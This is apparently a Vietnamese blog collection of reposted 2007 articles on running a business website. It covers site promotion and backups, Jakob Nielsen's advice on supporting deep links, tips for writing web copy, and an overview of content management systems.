Website dù hay đến đâu cũng sẽ chẳng là gì nếu không được nhiều người biết tới. Bên cạnh đó, bạn có ít cơ hội quảng bá sản phẩm của mình, thúc đẩy tìm kiếm thêm đối tác. Có rất nhiều cách để website được nhiều người biết tới: quảng cáo qua thư điện tử, qua các diễn đàn (forum) trực tuyến, qua các công cụ hỗ trợ tìm kiếm (Google, Atla Vista v.v..). Hiện tại, trên mạng tồn tại rất nhiều cá nhân rao bán danh sách email (mailing list). Tuy nhiên, quảng cáo qua thư điện tử là giải pháp không nên quá lạm dụng vì rất dễ gây phản cảm (spam).

Website cần ghi rõ thông tin về doanh nghiệp

Địa chỉ công ty, số điện thoại liên lạc là mảng thông tin cần thiết phải xuất hiện trên website của doanh nghiệp. Bên cạnh việc đảm bảo xác nhận công ty bạn có thực, tạo niềm tin cho người truy nhập, địa chỉ còn giúp “đưa đường, chỉ lối” cho các đối tác tiềm năng tìm tới bạn. Trong trường hợp tối ưu, thông tin về doanh nghiệp có thể bao gồm cả email của chủ doanh nghiệp (lãnh đạo công ty).

Bạn lấy được gì từ khách viếng thăm?

Nếu website có yêu cầu khách hàng đăng ký thành viên (member) để nhận dịch vụ (ví dụ thông tin cập nhật về sản phẩm mới, trợ giúp kỹ thuật khi mua hàng v.v…), bạn chắc hẳn đã xây dựng được một cộng đồng khách hàng mới thông qua công cụ thông tin trực tuyến. Trong trường hợp wesite không yêu cầu đăng ký thành viên, ít nhất quản trị website cũng cho bạn được một danh sách các thông số kỹ thuật: số khách viếng thăm phân theo từng múi giờ, “định vị” khách hàng (thông qua địa chỉ IP truy nhập) v.v… Đáng chú ý, nếu khéo léo bạn còn có thể chèn thêm những thông tin dạng thăm dò (survey) nhằm xác định nhu cầu của khách hàng tiềm năng hoặc ít nhất là những góp ý của họ đối với website của bạn.

Theo anh Quang Hiểu, chuyên viên Đài Web Công ty Điện toán truyền số liệu khu vực 1 (VDC1)- đơn vị đã và đang triển khai xây dựng website cho rất nhiều doanh nghiệp, rất nhiều doanh nghiệp không quan tâm tới công đoạn thu thập thông tin từ phía khách hàng. Website cần đóng vai trò “cầu nối” và mang tính tương tác hai chiều đó là quảng bá cho doanh nghiệp của bạn (mang thông tin từ bạn tới khách hàng) và giúp bạn hiểu hơn về nhu cầu của họ (mang thông tin từ khách hàng tới bạn).

Thường xuyên sao lưu (backup) dữ liệu

Điểm lưu ý cuối cùng nhưng cũng không kém phần quan trọng đó là hãy thường xuyên sao lưu (backup) dữ liệu. Công đoạn này đôi khi phải nhờ tới các nhà cung cấp dịch vụ quản trị website. Động tác backup có thể phục vụ mục tiêu chính: tái sử dụng khi cần thiết.

Theo vnMedia

Liên kết sâu là liên kết tốt

2007-10-03T11:54:00.000+07:00

Một số nhà quản lý marketing Internet không muốn có những lối dẫn tắt để khách truy cập đến thăm trang web của họ. Tôi đề cập đến vấn đề này sau khi nghe được rằng những người chủ trang web thực sự gọi search engine là những bộ phận dịch vụ khách hàng phàn nàn rằng người truy cập dám vào website trực tiếp trên các trang họ quan tâm nhất. Những người được gọi như vậy thích các search engine chỉ link khách truy cập tới các trang chủ hơn và không bao giờ link tới các trang bên trong.

Ticketmaster thậm chí sắp đặt một sự kiện tụng để buộc một website ngừng việc đưa khách truy cập trực tiếp vào các trang bên trong mà ở đó người truy cập có thể mua vé tới các trang hiển thị đặc biệt. Ngược lại với các trường hợp này, hầu hết các phần quan trọng của website như là các liên kết sâu và trực tiếp trả cho affiliate programs, khuyến khích các website khác gửi cho họ giao thông đích.

Những website này hiểu cái mà nghiên cứu của chúng tôi về sự tiện lợi của thương mại điện tử cho thấy: Những khó khăn trong việc đi từ trang chủ tới trang sản phẩm đúng được cho là chiếm 27% thất bại (tính trung bình trên 20 trang). Trung bình, sự tiện ích tốt hơn có thể nhân đôi doanh thu bán ra của một trang web thương mại điện tử, vì vậy, ngăn chặn liên kết sâu có thể xoá bỏ khoảng 1/4 lượng hàng tiềm năng bán ra từ những khách viếng thăm đến từ search engine. Những vị khách này là những khách hàng nóng hổi bởi sự quan tâm hiện tại đặc biệt của họ đối với sản phẩm của bạn nếu bạn thực sự không muốn mất đi mối làm ăn với họ.

Liên kết sâu tạo ra sự tiện lợi bởi vì có thể nó sẽ làm thoả mãn nhu cầu của người sử dụng. Những liên kết thông thường, như là các link tới trang chủ của công ty thì kém hơn so với các link đặc biệt đưa người truy cập tới một bài báo hay một sản phẩm riêng.

Giờ đây, cuối cùng chúng ta cũng đã có được các công cụ tìm kiếm Web-wide hiệu quả, có lẽ khách truy cập sẽ sử dụng chúng thường xuyên hơn để đưa các link sâu tới một giải pháp cụ thể, hơn là bắt đầu tại trang chủ của một công ty.

Hỗ trợ người sử dụng bằng Link sâu.

Một website giống như một ngôi nhà với một triệu lối vào: Cửa trước chỉ đơn thuần là một trong những cửa vào khác mà thôi. Một trang web tốt sẽ hỗ trợ những khách hàng chọn những con đường khác nhau.

Dưới đây là 3 nguyên tắc để tạo ra sự tiện ích cho những người sử dụng truy nhập vào trang web của bạn tại các trang bên trong.

Nói cho người truy cập biết điểm đến của họ, và làm cách nào họ có thể đi đến các bộ phận khác của website mà có bao gồm 3 yếu tố thiết kế dưới đây trên mỗi trang đơn:

Tên Công ty hay Logo ở góc trái phía trên.
Link trực tiếp bằng một lần kích chuột tới trang chủ.
Search (tốt hơn là đặt ở góc phải phía bên trên)

Hướng người truy cập liên quan tới phần còn lại của website. Nếu trang web có kiến trúc thông tin thứ bậc thì một con đường mòn có đánh dấu là cách tốt nhất để thực hiện điều này, đồng thời, phải bao gồm các link tới các nguồn khác mà có liên quan trực tiếp đến vị trí hiện tại. Đừng che giấu người truy cập trong các link tới tất cả các khu vực của trang web hay tới các trang không hề có liên quan tới vị trí hiện tại của họ.

Đừng cho rằng người truy cập đã đi theo con đường mòn đi xuống để đến trang hiện tại. Có lẽ họ đã không thấy được thông tin có trên các trang ở cấp độ cao hơn.

Một ví dụ của điểm thứ 3: Gần đây tôi có nghiên cứu một màn hình phẳng tại trang web của một đại lý máy tính. Tôi vào đó để tìm kiếm mẫu màn hình trên Google sau khi đọc một bài báo hay trong một cuốn tạp chí. Ở đó tôi đã không thể tìm được một link tới các màn kính khác. Sau đó, Tôi kích vào vệt chỉ dẫn vào trang phân loại với tất cả các màn hình. Ở đó, tôi đã tìm được kính màn hình, nó nằm trong file annoying PDF trong đó bao gồm các ống kính cho tất cả các màn hình nằm rải rác trong một cuốn hướng dẫn. Cái đó rất kém vì rằng công cụ bán hàng thiết yếu này chỉ có sẵn trên trang phân loại mà không có trên các trang sản phẩm.

Khi nào thì cần tránh Link sâu.

Trong một vài trường hợp, link sâu gây ra phản tác dụng bởi vì các trang cố định không thể hay không nên được sử dụng trước khi người truy cập đi qua các trang ở cấp độ cao hơn.

Một ví dụ từ chính trang web của tôi: Tôi có một bài tập trong đó có hỏi độc giả về các nguyên tắc trang chủ của tôi để đánh giá sự tiến bộ trong việc thiết kế lại trang chủ của BBC gần đây. Bài tập đó gồm 2 trang:

Trang đầu giải thích vấn đề.
Trang tiếp theo cung cấp giải pháp.

Nếu 2 trang này được thấy ở bất cứ đâu mà không phải trong chuỗi thích hợp, toàn bộ bài tập sẽ bị phá hỏng. Có thể bạn không bao giờ nhìn vào một thiết kế bằng con mắt mới mẻ khi bạn biết những vấn đề về sự tiện ích được đặt ở đâu. Do đó, bất cứ ai đi theo một link sâu tới trang này cùng với giải pháp sẽ không thu được lợi nhuận gì từ bài tập đó.

Thật dễ dàng để ngăn chặn các search engine khỏi liên kết sâu tới một trang đặc biệt, đơn giản là bao gồm mã số meta-tag dưới đây trong phần HEAD của trang web:

Các search engine hoạt động tốt sẽ không bao gồm bất cứ trang nào từ cơ sở dữ liệu của họ.
Liên kết sâu từ các trang web non-search và từ các search engine làm cho lạc đường có thể được ngăn chặn bằng một số chương trình máy chủ khác thường, nó kiểm tra xem liệu một người truy cập đã đến được các trang ở mức độ cao hơn phù hợp trước khi vào trang nhạy chưa. Tuy nhiên tôi không đề cập điều này bởi khả năng sai sót cao và ngăn chặn người truy cập hợp pháp. Nếu một trang web bộ phận thứ 3 dở đến nỗi mà nó link tới một điểm đến vô nghĩa thì khi đó có lẽ nó sẽ là một trang web kém đến nỗi mà nó có rất ít sự luân chuyển.

Link sâu là một người bạn của bạn: Nó đưa người truy cập tới điểm đến mà họ muốn đến nhanh hết mức có thể. Do vậy, bạn chỉ nên sử dụng meta-tag "không mục lục" cho các trang mà người truy cập có lẽ không bao giờ ghé thăm đầu tiên.

Biên tập từ bài viết của Jakob Nielsen's trên Alertbox

Những điểm nên và không nên khi soạn nội dung Website

2007-10-03T11:48:00.001+07:00

1. Lợi ích

Hãy bắt đầu với những lợi ích thuyết phục nhất của trang web của bạn và chuyển nó thành một tiêu đề nét đậm. Đừng bắt đầu bằng khẩu hiệu chào đón không có nghĩa gì cả.

Kém: Chào mừng bạn đến với cửa hàng đồ trang sức của chúng tôi.
Tốt: Nhà thiết kế thủ công đồ trang sức bạc.

2. Sự cảm thông

Hãy tập trung vào nhu cầu của những khách hàng ghé thăm trang web của bạn và những triển vọng. Đừng nói về khó khăn của bạn đầu tiên.

Kém: Trang web này được đưa ra vào 2 ngày trước đây, vì vậy xin hãy bỏ qua những thiếu sót.
Tốt: Xin hãy liên hệ với dịch vụ khách hàng của chúng tôi để được giải đáp nhanh chóng.

3. Sự nhất quán

Đừng dựa theo một kiểu mẫu định dạng nhất định cho trang web của bạn. Đừng làm cho nó trông như một bức tranh minh họa lòe loẹt với 10 phông chữ và 20 mầu sắc.

Kém: Sử dụng nhiều mầu khác nhau trong mỗi đoạn và các kiểu chữ và các cỡ chữ khác nhau cho mỗi tiêu đề.
Tốt: Một mầu chữ và một cỡ chữ cho mỗi văn bản và chỉ một mầu chữ và một cỡ chữ cho các dòng tiêu đề (Arial và Verdana được coi là những phông chữ thích hợp nhất cho nội dung trang web).

4. Sự đơn giản

Làm cho nội dung trang web của bạn trở nên đơn giản. Đừng sử dụng những từ ngữ gây khó hiểu để khách hàng có thể hiểu được thông điệp của bạn ngay lập tức. Họ sẽ không muốn mất nhiều cố gắng để hiểu được nội dung đó nếu những từ ngữ đó quá trừu tượng. Họ sẽ ngay lập tức thoát ra khỏi trang web của bạn và có thể bạn sẽ mất đi một khách hàng tiềm năng.

Kém: Mặc cho tình trạng của họ hiện nay, các nhà cạnh tranh bền bỉ vẫn đi đến thất bại do sự lạc lõng hoàn toàn của họ.
Tốt: Các nhà cạnh tranh còn thiếu các kỹ năng để thành công.

5. Kiểm tra cẩn thận

Hãy kiểm tra nội dung trang web của bạn cẩn thận từ việc xem có thiếu cái tiêu đề hay biểu tượng đầu dòng nào không. Hãy làm cho khách hàng biết được ngay lập tức điều mà bạn muốn nói với họ. Đừng đưa khối văn bản lớn vào trang web của bạn vì người ta sẽ không thể đọc hết được và nó thật tẻ nhạt.

Kém: Một khối văn bản không hề chia đoạn, không có các tiêu đề hay các điểm đánh dấu đầu đoạn.
Tốt: Văn bản phải được chia thành các đoạn và có tiêu đề cùng các kí hiệu đánh dấu đầu dòng.

6. Sự ngắn gọn súc tích

Khi viết nội dung cho trang web của bạn cố gắng càng ngắn gọn và súc tích càng tốt. Đừng lặp đi lặp lại về một chủ đề mà nó cung cấp những chi tiết không liên quan vì điều đó sẽ không thu hút khách hàng.

Kém: Một câu chuyện lịch sử dài 400 từ về thành tựu đạt được của công ty bạn.
Tốt: Một vài điểm đánh dấu đầu dòng liệt kê các thành tựu lớn.

7. Sự thú vị

Viết theo một phong cách thú vị và thân thiện. Đừng làm cho nó trở nên buồn tẻ và bâng quơ. Phải làm cho khách hàng thích đọc nội dung trang web của bạn và bị cuốn hút vào đó.

Kém: Công ty của chúng tôi là một công ty rất có năng lực, đáng tin cậy và chúng tôi hoạt động quanh năm. Chúng tôi cũng có một danh mục các khách hàng rất ấn tượng mà trước đây chung tôi từng làm cho họ. Rõ ràng chúng tôi là sự lựa chọn tốt nhất của bạn.
Tốt: Những lý do khiến chúng tôi phục vụ bạn tốt hơn:
- Dịch vụ khách hàng lớn.
- Giá cả cạnh tranh
- Kinh nghiệm rộng lớn.

(Kiến thức sưu tầm)

Cái nhìn rõ ràng về Quản lý Nội dung

2007-10-03T11:38:00.000+07:00

Quản lý nội dung (Content Management - CM) là gì?

Một câu hỏi hay. Có rất nhiều sản phẩm khác nhau được cho là cung cấp khả năng quản lý nội dung, song khái niệm còn chưa được rõ ràng. Phần lớn các giải pháp quản lý nội dung tập trung vào việc đề xuất, khảo sát/chấp nhận và triển khai, song các tính năng thường thay đổi theo sản phẩm. Một số giải pháp tập trung vào việc phân phối trang (page delivery), cũng như là tính năng cá nhân hoá. Nhiều sản phẩm trong số đó được tuyên bố là theo "các chuẩn mở" và tích hợp với tất cả mọi thứ "trên thế giới này".

Nội dung ở một Website là tài sản có giá trị. Nội dung phải được cập nhật thường xuyên để cho khách thăm quan quay trở lại. Một hệ thống quản lý nội dung sẽ cho phép bạn tập trung vào việc tạo ra nội dung có chất lượng trong khi tự động hoá một số công việc vận hành. Bạn có thể giảm chi phí vận hành, tăng mức độ thường xuyên của việc cập nhật nội dung, và tăng cường chất lượng và số lượng của nội dung được giới thiệu trên Website của bạn.

Tại sao sử dụng nó?

Nhiều công ty quan tâm đến việc tìm một công cụ mà nó có thể tự động hoá các quá trình quản lý nội dung và tăng hiệu suất của những người cộng tác không có chuyên môn về kỹ thuật. Lợi ích lớn nhất của việc quản lý nội dung là ở chỗ những người sử dụng không có chuyên môn về kỹ thuật có thể gửi nội dung mà không cần phải vượt qua những đoạn đường hẹp dễ bị tắc nghẽn vì lý do kỹ thuật. Điều này rất quan trọng đối với những môi trường chịu áp lực về thời gian và các Website mà khách hàng tự điều khiển. Những lợi ích cơ bản khác bao gồm tự động hoá việc chấp nhận và triển khai nội dung. Nhìn chung, những nội dung này có thể được phân nhóm theo 5 loại:

Quản lý tài sản Web

Nội dung có thể có xuất xứ từ nhiều nguồn khác nhau bao gồm cả tài sản tệp và tài sản cơ sở dữ liệu. Bạn thậm chí có thể tích hợp với những tài sản từ hệ thống truyền thống hay các dịch vụ cung cấp các bài báo, tin tức qua một tổ chức chung.
Một số sản phẩm cho phép bạn lưu trữ nội dung ở cả Ngôn ngữ Đánh dấu Mở rộng (XML) và các cơ sở dữ liệu có liên quan. XML cung cấp nhiều tính linh hoạt. Các cơ sở dữ liệu quan hệ cung cấp tính bảo mật, tính đồng thời, bình thường hoá, và những lợi ích khác. Cả hai đều cho phép sự phân tách nội dung từ nội dung được trình bầy.
Các tác giả nội dung có thể thường xuyên sử dụng công cụ lựa chọn của họ khi xây dựng nội dung.
Phần mềm quản lý nội dung có thể tự động hoá việc thiết lập và lưu giữ siêu dữ liệu (metadata), tính năng cho phép các công ty tổ chức nội dung và cải tiến việc tìm kiếm của khách hàng.

Dòng công việc (Workflow)

Nhiều giải pháp quản lý nội dung cung cấp một giao diện người sử dụng cho các nhiệm vụ quản lý. Bạn có thể tự động hoá việc thiết lập và ấn định danh sách công việc, khai báo e-mail, và chấp thuận. Các nhiệm vụ có thể được chỉ định cho các cá nhân hay các nhóm. Các nhiệm vụ có thể được bắt đầu bằng tay (ví dụ, Joe, hãy viết thông cáo báo chí này để tuyên bố việc phá sản không mong đợi của chúng ta) hay được tự động hoá (ví dụ, hãy triển khai nội dung cho 5 máy chủ Web sản xuất của chúng ta vào 3h sáng tất cả các ngày). Dòng công việc có thể được tuỳ biến thường xuyên, song tốt nhất là để cho nó được đơn giản.
Một cách thức kiểm tra (audit trail) và lịch sử thay đổi nội dung có thể được duy trì, điều cho phép các nhà cung cấp nội dung theo dõi và kiểm tra tốt hơn những thay đổi về nội dung.

Các biểu mẫu (Templates)

Các biểu mẫu được thiết kế cho cả việc nhập nội dung lẫn trình bầy nội dung. Các biểu mẫu mà chúng được tạo ra để nhập nội dung được thiết kế cho những người sử dụng cuối không có chuyên môn về kỹ thuật để xây dựng nội dung. Một số sản phẩm được tuyên bố là tự động tạo ra các biểu mẫu nhập nội dung cho bạn, song nên đánh giá thật kỹ lưỡng tính năng này để đảm bảo rằng nó đáp ứng yêu cầu của bạn. Các biểu mẫu giới thiệu được sử dụng để kết hợp nội dung với trình bầy, và hiển thị kết quả cuối cùng cho khách thăm quan Website. Các trang trình bầy thường bao gồm các thành phần mà chúng là những biểu mẫu được gộp trong một biểu mẫu. Các thành phần hữu ích đối với các tài sản như là như là các banner quảng cáo và chú thích cuối trang (footers) mà chúng được hiển thị ở nhiều trang trong cả một Web site.

Kiểm soát nguồn/tạo các phiên bản (Source control/versioning)

Nhiều giải pháp quản lý nội dung cũng cung cấp các khả năng quản lý mã nguồn như là tạo phiên bản, kết hợp các thay đổi và chỉ rõ cách giải quyết xung đột. Một giải pháp quản lý nội dung tốt sẽ cho phép bạn giữ các phiên bản của toàn bộ Web site, hay các ảnh chụp nhanh (snapshots) đúng lúc - đồng thời cho phép bạn xoá các thay đổi ở cơ sở dữ liệu tại bất cứ điểm nào.

Triển khai/Phân phối (Deployment/Delivery)

Nhiều giải pháp quản lý nội dung tự động hoá quá trình triển khai nội dung. Một số giải pháp cũng cung cấp khả năng lưu trữ/gia hạn hiệu lực của nội dung một cách tự động.
Một số giải pháp quản lý nội dung cũng có một thành phần thời gian chạy (run time component) để thực hiện việc phân phối trang.

Chúng đưa ra các chiến lược lưu trữ để thúc đẩy hiệu suất hoạt động của Web site của bạn. Tính năng này có thể đặc biệt hữu ích nếu bạn có nhiều nội dung cơ sở dữ liệu mà chúng không cần phải thay đổi nhiều trong ngày hay trong suốt cả tuần. Bằng cách sử dụng một chiến lược lưu trữ, các trang Web sẽ được phục vụ nhanh hơn bởi vì khách hàng sẽ không cần truy xuất cơ sở dữ liệu theo mọi yêu cầu về trang.

Phải lưu ý điều gì?

Trái ngược với những gì mà các nhà cung cấp có thể nói với bạn, phần mềm quản lý nội dung không phải là một giải pháp không giới hạn hay một phép thần có thể giải quyết mọi vấn đề của bạn. Có các yếu tố bắt buộc phải xem xét như là chấp nhận, mong đợi, dòng công việc, và sự tích hợp với những sản phẩm khác.

Thực hiện

Đừng vội vã chấp nhận. Bạn có thể mất nhiều thời gian vào việc định hình và tuỳ chỉnh cho bất kỳ giải pháp quản lý nội dung nào cho các yêu cầu cá nhân của bạn. Nhiều công ty và tổ chức đã từng đi qua quá trình chấp nhận một giải pháp quản lý nội dung có thể là bằng chứng cho điều này. Hãy dành đủ thời gian để đi đến quyết định chấp nhận và dùng thử kỹ càng.

Dòng công việc

Hãy để cho nó được đơn giản. Bạn có thể mất nhiều thời gian vào việc phát triển dòng công việc tỉ mỉ và phức tạp, chỉ có điều là không tìm thấy ai muốn sử dụng nó. Bạn không thể tự động hoá mọi thứ. Do đó, hãy tự động hoá cái gì có ý nghĩa. Phần mềm quản lý nội dung sẽ không giúp bạn xác định dòng công việc của bạn và các quá trình chấp nhận, các qui định, vai trò và trách nhiệm kinh doanh. Điều rất quan trọng là bạn phải xác định rõ những yếu tố này và kết hợp chúng với quá trình chấp nhận.

Tích hợp

Khi xem xét khả năng tích hợp với công nghệ mới (ví dụ, các thiết bị và dịch vụ không dây), hãy chấp nhận một phương pháp tiên tiến. Sự thành lập các hiệp hội và xu hướng toàn cầu hoá đang làm tăng mức độ tăng trưởng và tính phức tạp của nội dung. Hãy xem xét việc quản lý nội dung có thể tác động như thế nào và bị tác động như thế nào bởi các đối tác, các nhà cung cấp, các bộ phận kinh doanh, và các khách hàng và văn phòng sử dụng nhiều ngôn ngữ.

Những mong đợi

Hãy "quản lý" những mong đợi. Những người sử dụng cuối và các nhà quản lý thường nghĩ rằng phần mềm quản lý nội dung sẽ khiến cho cuộc sống của họ đơn giản hơn rất nhiều. Trong thực tế, người sử dụng cuối thường có một người có chuyên môn kỹ thuật chăm sóc quá trình triển khai cho họ. Họ có thể nhìn phần mềm quản lý nội dung như là sự đưa thêm một bước bổ sung vào các quá trình của họ. Hãy khuyến khích họ nhìn nhận điều này như một cơ hội để có được sự kiểm soát nhiều hơn đối với nội dung của họ. Để giúp đảm bảo rằng người dùng cuối mua sản phẩm, hãy mời họ đánh giá các sản phẩm quản lý nội dung về đặc tính dễ dàng sử dụng và tính trực giác của chúng.

Các sản phẩm quản lý nội dung

Hiện nay, có rất nhiều loại sản phẩm quản lý nội dung trên thị trường. Các sản phẩm này thực hiện những công việc thích hợp khác nhau và có những tính năng khác nhau. Bạn cần phải nghiên cứu và tìm ra giải pháp tốt nhất phù hợp với các nhu cầu của tổ chức.

Một giải pháp quản lý nội dung có thể tốn kém tuỳ thuộc vào các nhu cầu của bạn. Bao gồm chi phí cho giấy phép phần mềm, đào tạo, và các dịch vụ hỗ trợ, giá cả có thể từ 200.000USD đến 2 triệu USD. Nói như vậy không có nghĩa là không có những giải pháp rẻ tiền hơn, song những giải pháp toàn diện và hỗ trợ tốt nhất sẽ không có mức giá thấp.

Kết luận

Như bạn có thể thấy, có rất nhiều yếu tố khác nhau phải xem xét và một loạt các sản phẩm để từ đó lựa chọn ra cái phù hợp. Các sản phẩm quản lý nội dung đã thay đổi chút ít trong một vài năm trở lại đây. Hãy xem xét những cải tiến trong các sản phẩm, những mong đợi của khách hàng về Web site của bạn, và tốc độ tiến triển của thương mại điện tử trong thế giới Web. Các Web site cần nhiều về nội dung có thể hưởng lợi rất lớn từ việc có sử dụng tính năng quản lý nội dung. Sau tất cả, đối với những người sử dụng Internet hiện nay, nội dung nhàm chán là lý do thích đáng để không quay trở lại một Web site.

Nếu như bạn xem xét nội dung như là một tài sản chủ yếu và bạn muốn duy trì tính "tươi mới" và tạo nên sự nghiêm ngặt trên site của bạn, bạn có thể thấy được lợi ích từ việc sử dụng sản phẩm quản lý nội dung. Thực tế là nhiều sản phẩm có những tính năng đa dạng và bạn cần phải tập trung vào những gì phù hợp nhất trong môi trường của bạn và chiến lược kinh doanh tương lai. Phân tích và xác định sản phẩm nào phù hợp nhất cho trường hợp của bạn là điều đáng bỏ thời gian và công sức.

Xuân Cầm - Theo Ecomworld.com